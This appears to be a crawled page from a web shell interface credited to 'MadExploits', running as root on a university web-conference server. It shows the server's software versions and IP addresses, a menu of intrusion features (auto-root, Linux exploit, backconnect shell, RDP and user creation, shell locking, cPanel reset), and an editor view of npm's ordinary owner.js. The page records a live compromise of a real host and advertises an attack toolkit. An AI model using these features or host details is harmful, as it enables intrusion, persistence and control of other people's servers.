Linux web-conference.aiou.edu.pk 5.4.0-205-generic #225-Ubuntu SMP Fri Jan 10 22:23:35 UTC 2025 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.21.167.36
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
npm /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
auth
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
doctor
[ DIR ]
drwxr-xr-x
install
[ DIR ]
drwxr-xr-x
search
[ DIR ]
drwxr-xr-x
utils
[ DIR ]
drwxr-xr-x
access.js
5.54
KB
-rw-r--r--
adduser.js
1.31
KB
-rw-r--r--
audit.js
10.56
KB
-rw-r--r--
bin.js
515
B
-rw-r--r--
bugs.js
864
B
-rw-r--r--
build.js
4.44
KB
-rw-r--r--
cache.js
4.66
KB
-rw-r--r--
ci.js
1.19
KB
-rw-r--r--
completion.js
7.11
KB
-rw-r--r--
config.js
7.43
KB
-rw-r--r--
dedupe.js
4.88
KB
-rw-r--r--
deprecate.js
2.11
KB
-rw-r--r--
dist-tag.js
4.11
KB
-rw-r--r--
docs.js
1.04
KB
-rw-r--r--
doctor.js
3.98
KB
-rw-r--r--
edit.js
1.37
KB
-rw-r--r--
explore.js
1.69
KB
-rw-r--r--
fetch-package-metadata.js
3.84
KB
-rw-r--r--
fund.js
4.91
KB
-rw-r--r--
get.js
235
B
-rw-r--r--
help-search.js
5.64
KB
-rw-r--r--
help.js
6.35
KB
-rw-r--r--
hook.js
4.21
KB
-rw-r--r--
init.js
2.74
KB
-rw-r--r--
install-ci-test.js
486
B
-rw-r--r--
install-test.js
507
B
-rw-r--r--
install.js
36.25
KB
-rw-r--r--
link.js
5.6
KB
-rw-r--r--
logout.js
1.26
KB
-rw-r--r--
ls.js
16.09
KB
-rw-r--r--
npm.js
14.37
KB
-rw-r--r--
org.js
4.18
KB
-rw-r--r--
outdated.js
12.28
KB
-rw-r--r--
owner.js
6.6
KB
-rw-r--r--
pack.js
11.79
KB
-rw-r--r--
ping.js
1.11
KB
-rw-r--r--
prefix.js
330
B
-rw-r--r--
profile.js
11.13
KB
-rw-r--r--
prune.js
2.23
KB
-rw-r--r--
publish.js
5.14
KB
-rw-r--r--
rebuild.js
2.09
KB
-rw-r--r--
repo.js
1.44
KB
-rw-r--r--
restart.js
64
B
-rw-r--r--
root.js
320
B
-rw-r--r--
run-script.js
5.41
KB
-rw-r--r--
search.js
3.36
KB
-rw-r--r--
set.js
276
B
-rw-r--r--
shrinkwrap.js
9.82
KB
-rw-r--r--
star.js
2.11
KB
-rw-r--r--
stars.js
1.03
KB
-rw-r--r--
start.js
62
B
-rw-r--r--
stop.js
61
B
-rw-r--r--
substack.js
509
B
-rw-r--r--
team.js
4.61
KB
-rw-r--r--
test.js
374
B
-rw-r--r--
token.js
6.66
KB
-rw-r--r--
unbuild.js
4.27
KB
-rw-r--r--
uninstall.js
2.21
KB
-rw-r--r--
unpublish.js
3.51
KB
-rw-r--r--
update.js
2.16
KB
-rw-r--r--
version.js
9.79
KB
-rw-r--r--
view.js
15.11
KB
-rw-r--r--
visnup.js
4.01
KB
-rw-r--r--
whoami.js
1.77
KB
-rw-r--r--
xmas.js
1.62
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : owner.js
module.exports = owner const BB = require('bluebird') const log = require('npmlog') const npa = require('libnpm/parse-arg') const npmConfig = require('./config/figgy-config.js') const npmFetch = require('libnpm/fetch') const output = require('./utils/output.js') const otplease = require('./utils/otplease.js') const packument = require('libnpm/packument') const readLocalPkg = BB.promisify(require('./utils/read-local-package.js')) const usage = require('./utils/usage') const whoami = BB.promisify(require('./whoami.js')) owner.usage = usage( 'owner', 'npm owner add <user> [<@scope>/]<pkg>' + '\nnpm owner rm <user> [<@scope>/]<pkg>' + '\nnpm owner ls [<@scope>/]<pkg>' ) owner.completion = function (opts, cb) { const argv = opts.conf.argv.remain if (argv.length > 4) return cb() if (argv.length <= 2) { var subs = ['add', 'rm'] if (opts.partialWord === 'l') subs.push('ls') else subs.push('ls', 'list') return cb(null, subs) } BB.try(() => { const opts = npmConfig() return whoami([], true).then(username => { const un = encodeURIComponent(username) let byUser, theUser switch (argv[2]) { case 'ls': // FIXME: there used to be registry completion here, but it stopped // making sense somewhere around 50,000 packages on the registry return case 'rm': if (argv.length > 3) { theUser = encodeURIComponent(argv[3]) byUser = `/-/by-user/${theUser}|${un}` return npmFetch.json(byUser, opts).then(d => { return d[theUser].filter( // kludge for server adminery. p => un === 'isaacs' || d[un].indexOf(p) === -1 ) }) } // else fallthrough /* eslint no-fallthrough:0 */ case 'add': if (argv.length > 3) { theUser = encodeURIComponent(argv[3]) byUser = `/-/by-user/${theUser}|${un}` return npmFetch.json(byUser, opts).then(d => { var mine = d[un] || [] var theirs = d[theUser] || [] return mine.filter(p => theirs.indexOf(p) === -1) }) } else { // just list all users who aren't me. return npmFetch.json('/-/users', opts).then(list => { return Object.keys(list).filter(n => n !== un) }) } default: return cb() } }) }).nodeify(cb) } function UsageError () { throw Object.assign(new Error(owner.usage), {code: 'EUSAGE'}) } function owner ([action, ...args], cb) { const opts = npmConfig() BB.try(() => { switch (action) { case 'ls': case 'list': return ls(args[0], opts) case 'add': return add(args[0], args[1], opts) case 'rm': case 'remove': return rm(args[0], args[1], opts) default: UsageError() } }).then( data => cb(null, data), err => err.code === 'EUSAGE' ? cb(err.message) : cb(err) ) } function ls (pkg, opts) { if (!pkg) { return readLocalPkg().then(pkg => { if (!pkg) { UsageError() } return ls(pkg, opts) }) } const spec = npa(pkg) return packument(spec, opts.concat({fullMetadata: true})).then( data => { var owners = data.maintainers if (!owners || !owners.length) { output('admin party!') } else { output(owners.map(o => `${o.name} <${o.email}>`).join('\n')) } return owners }, err => { log.error('owner ls', "Couldn't get owner data", pkg) throw err } ) } function add (user, pkg, opts) { if (!user) { UsageError() } if (!pkg) { return readLocalPkg().then(pkg => { if (!pkg) { UsageError() } return add(user, pkg, opts) }) } log.verbose('owner add', '%s to %s', user, pkg) const spec = npa(pkg) return withMutation(spec, user, opts, (u, owners) => { if (!owners) owners = [] for (var i = 0, l = owners.length; i < l; i++) { var o = owners[i] if (o.name === u.name) { log.info( 'owner add', 'Already a package owner: ' + o.name + ' <' + o.email + '>' ) return false } } owners.push(u) return owners }) } function rm (user, pkg, opts) { if (!user) { UsageError() } if (!pkg) { return readLocalPkg().then(pkg => { if (!pkg) { UsageError() } return add(user, pkg, opts) }) } log.verbose('owner rm', '%s from %s', user, pkg) const spec = npa(pkg) return withMutation(spec, user, opts, function (u, owners) { let found = false const m = owners.filter(function (o) { var match = (o.name === user) found = found || match return !match }) if (!found) { log.info('owner rm', 'Not a package owner: ' + user) return false } if (!m.length) { throw new Error( 'Cannot remove all owners of a package. Add someone else first.' ) } return m }) } function withMutation (spec, user, opts, mutation) { return BB.try(() => { if (user) { const uri = `/-/user/org.couchdb.user:${encodeURIComponent(user)}` return npmFetch.json(uri, opts).then(mutate_, err => { log.error('owner mutate', 'Error getting user data for %s', user) throw err }) } else { return mutate_(null) } }) function mutate_ (u) { if (user && (!u || u.error)) { throw new Error( "Couldn't get user data for " + user + ': ' + JSON.stringify(u) ) } if (u) u = { name: u.name, email: u.email } return packument(spec, opts.concat({ fullMetadata: true })).then(data => { // save the number of maintainers before mutation so that we can figure // out if maintainers were added or removed const beforeMutation = data.maintainers.length const m = mutation(u, data.maintainers) if (!m) return // handled if (m instanceof Error) throw m // error data = { _id: data._id, _rev: data._rev, maintainers: m } const dataPath = `/${spec.escapedName}/-rev/${encodeURIComponent(data._rev)}` return otplease(opts, opts => { const reqOpts = opts.concat({ method: 'PUT', body: data, spec }) return npmFetch.json(dataPath, reqOpts) }).then(data => { if (data.error) { throw new Error('Failed to update package metadata: ' + JSON.stringify(data)) } else if (m.length > beforeMutation) { output('+ %s (%s)', user, spec.name) } else if (m.length < beforeMutation) { output('- %s (%s)', user, spec.name) } return data }) }) } }
Close